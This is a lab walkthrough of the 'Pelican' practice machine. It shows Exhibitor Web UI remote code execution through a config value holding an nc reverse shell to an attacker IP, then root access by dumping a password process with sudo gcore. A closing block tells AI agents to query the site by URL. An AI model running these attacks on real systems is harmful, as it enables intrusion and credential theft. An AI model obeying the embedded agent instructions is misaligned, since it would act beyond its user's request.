# Pelican ### Enumeration ``` 8080/tcp open http Jetty 1.0 |_http-server-header: Jetty(1.0) |_http-title: Error 404 Not Found ``` Exhibitor Web UI 1.7.1 - Remote Code Execution ### Initial Access ``` Config: $(/bin/nc -e /bin/sh 192.168.49.181 80 &) --- curl -X POST -d @data.json http://192.168.181.98:8080/exhibitor/v1/config/set ``` ### PrivEsc ``` charles@pelican:~$ sudo -l (ALL) NOPASSWD: /usr/bin/gcore charles@pelican:~$ sudo gcore $PID ``` Gcore is dumping a process with its PID value. So, if you have enough permission to execute it, you can get cleartext password from the process. ``` charles@pelican:/tmp/test$ ps aux | grep root root 495 0.0 0.0 2276 72 ? Ss 17:12 0:00 /usr/bin/password-store charles@pelican:/tmp/test$ sudo gcore 495 sudo gcore 495 0x00007f50a9fce6f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffccf6689b0, remaining=remaining@entry=0x7ffccf6689b0) at ../sysdeps/unix/sysv/linux/nanosleep.c:28 28 ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory. Saved corefile core.495 [Inferior 1 (process 495) detached] charles@pelican:/tmp/test$ strings core.495 ... 001 Password: root: [REDACTED] ... charles@pelican:/tmp/test$ su root ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/pelican.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.